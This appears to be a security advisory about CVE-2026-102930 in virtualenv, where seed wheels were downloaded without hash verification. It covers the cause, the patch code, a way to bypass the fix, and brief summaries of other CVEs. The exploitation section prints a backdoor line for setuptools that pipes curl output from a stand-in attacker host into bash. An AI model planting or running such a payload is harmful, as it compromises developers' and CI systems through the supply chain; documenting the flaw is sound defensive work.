Oct 1, 2026·4 min read·7 visits
Prior to 21.7.12, virtualenv dynamically downloaded core python wheels without verifying their hashes, allowing network interceptors to inject backdoored code into newly created virtual environments.
CVE-2026-102930 is a high-severity supply chain vulnerability in virtualenv prior to version 21.7.12. The download_wheel() function lacks integrity checks when dynamically fetching seed packages (such as pip or setuptools) over the network. This allows an attacker to intercept the network stream, replace packages with backdoored components, and achieve arbitrary code execution inside newly spawned virtual environments.
The Python library virtualenv is widely used to build isolated environments. To accomplish isolation, the library installs essential seed packages (including pip, setuptools, and wheel) during environment creation.
By default, virtualenv utilizes internal pre-packaged wheels or retrieves updated wheels over the network. When running with the --download option, or during automatic background update cycles, the system retrieves files using a subprocess execution of pip download.
Prior to version 21.7.12, the download_wheel() function did not verify the cryptographic integrity of these retrieved packages. This exposes an attack vector to Machine-in-the-Middle (MitM) interceptors, compromised package mirrors, or DNS manipulation.
The root cause of this flaw is classified as CWE-494: Download of Code Without Integrity Check. The execution logic relies entirely on the underlying transport layer and index configuration of pip to ensure package authenticity.
When download_wheel() completes, the received .whl files are stored directly inside the application-data cache (typically located at ~/.local/share/virtualenv/wheel/). Because there was no validation against an authoritative SHA-256 digest, the system immediately accepted any file delivered by the host.
This behavior is highly exploitable. Once a compromised package is written to the cache, it is unpacked and executed on subsequent invocations of virtualenv. This results in silent execution of code within the victim's developmental, CI/CD, or production environment.
The vulnerability was fixed in version 21.7.12 by introducing strict hash verification against PyPI's JSON API metadata. The patch defines _uses_default_index to determine if a custom index is declared in environment variables:
_CUSTOM_INDEX_ENV_VARS: Final[tuple[str, ...]] = ("PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "PIP_INDEX")
def _uses_default_index(env: dict[str, str]) -> bool:
return not any(env.get(var) for var in _CUSTOM_INDEX_ENV_VARS)If the default index is active, the download process invokes verify_wheel_digest(). This helper compares the file's SHA-256 digest to the authoritative metadata retrieved from PyPI:
def verify_wheel_digest(wheel: Wheel) -> None:
entry = _pypi_release_entry_for_wheel(wheel)
if entry is None:
LOGGER.debug("could not verify %s against PyPI: no matching release record", wheel.name)
return
digests = entry.get("digests")
expected = digests.get("sha256") if isinstance(digests, dict) else None
if not isinstance(expected, str):
return
actual = hashlib.sha256(wheel.path.read_bytes()).hexdigest()
if actual != expected:
msg = f"downloaded wheel {wheel.name} has sha256 {actual}, but PyPI reports {expected}"
raise RuntimeError(msg)Any mismatch triggers a fatal error, halting environment creation and preventing the installation of the corrupt dependency.
To exploit this flaw, an attacker must capture or proxy the victim's connections to PyPI or trick the client into using an untrusted local mirror. The attacker constructs a modified seed archive (e.g., setuptools-75.1.0-py3-none-any.whl) containing a malicious module payload inside setuptools/__init__.py:
# Injected payload
import subprocess
subprocess.Popen(["/bin/bash", "-c", "curl -s http://attacker.local/shell.sh | bash"])When the victim invokes virtualenv --download venv_name, the download logic fetches the modified package. Because no integrity verification is performed, the archive is written directly to the cache. The payload executes silently when the virtual environment is built or whenever the target module is imported.
Successful exploitation leads to absolute compromise of the executing environment. Because virtualenv is widely used within automated build systems, code-analysis setups, and CI/CD networks, this vulnerability acts as an entry point for supply chain manipulation.
The payload inherits the permissions of the calling user. In multi-tenant infrastructure, this can facilitate privilege escalation or unauthorized read access to database secrets and credentials. Compromising the integrity of local python dependencies may allow attackers to inject secondary backdoors directly into application deployment pipelines.
The primary recommendation is upgrading virtualenv to version 21.7.12 or later immediately. Users should restrict access to dynamic internet package downloads where possible.
Several design limitations in the patch should be recognized. The verification logic fails-open if PyPI's API is completely offline. An attacker who selectively blocks connection requests to PyPI's JSON API while permitting raw TCP package downloads can trigger a fall-back scenario, bypassing the validation altogether.
Furthermore, the patch does not inspect system-level pip.conf configuration files. If an alternative repository is configured globally, the verification system may still check the local packages against official PyPI records. This mismatch will fail the installation, causing a persistent local Denial of Service (DoS).
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
virtualenv pypa | < 21.7.12 | 21.7.12 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-494 |
| Attack Vector | Network |
| CVSS v4.0 Score | 7.7 |
| EPSS Score | None |
| Impact | Arbitrary Code Execution |
| Exploit Status | PoC-level |
| KEV Status | Not Listed |
The application downloads source code or an executable from an external site, but does not verify the code's integrity.
An input validation vulnerability in the virtualenv package allows local execution hijacking via configuration injection. When generating the pyvenv.cfg configuration file, user-controlled parameters such as prompt options are written verbatim without sanitizing line-boundary sequences. This allows attackers to inject arbitrary configuration options, causing the tool to read malicious base interpreter paths.
An algorithmic complexity vulnerability in the `league/commonmark` library's GitHub Flavored Markdown (GFM) Table extension allows remote, unauthenticated attackers to cause a Denial of Service (DoS) via high CPU consumption. By submitting a specially crafted Markdown payload containing an extremely long paragraph without letter characters or pipe symbols, the parser executes a quadratic-time $O(N^2)$ scanning operation that exhausts system resources.
An authenticated Server-Side Request Forgery (SSRF) and credential exfiltration vulnerability exists in LiteLLM proxy prior to versions 1.88.6 and 1.96.2. By bypassing sanitization logic through nested form-data parameters or using connection health checks, authenticated users can redirect outbound API calls to arbitrary endpoints, exposing sensitive upstream administrative credentials.
CVE-2026-91776 is a high-severity Denial of Service (DoS) vulnerability in the FasterXML jackson-databind library. The vulnerability is caused by uncontrolled resource consumption (CWE-400) where raw, unrecognized polymorphic type IDs are cached indefinitely without boundaries inside TypeDeserializerBase. When name-based polymorphic deserialization is configured with a fallback mechanism (such as a default implementation or custom problem handlers), remote attackers can send crafted payloads containing unique unknown type IDs, causing heap exhaustion, Garbage Collection (GC) overhead limit exhaustion, and an Out-of-Memory (OOM) crash.
An uncontrolled resource consumption vulnerability in FasterXML jackson-databind allows remote unauthenticated attackers to cause a Denial of Service (DoS) via crafted JSON payloads containing out-of-order forward references in identity-enabled collections or maps.
A security vulnerability in league/commonmark versions 1.3.0 through 2.10.1 allows remote attackers to bypass Stored Cross-Site Scripting (XSS) protections in the DisallowedRawHtml extension. Due to an validation logic flaw in the regular expression parser, specifically handling bare, unclosed HTML blocks ending at the string boundary, raw HTML tags can be passed to the rendered output. When combined with browser-side parsing heuristics, an attacker can execute arbitrary JavaScript in the context of the user session.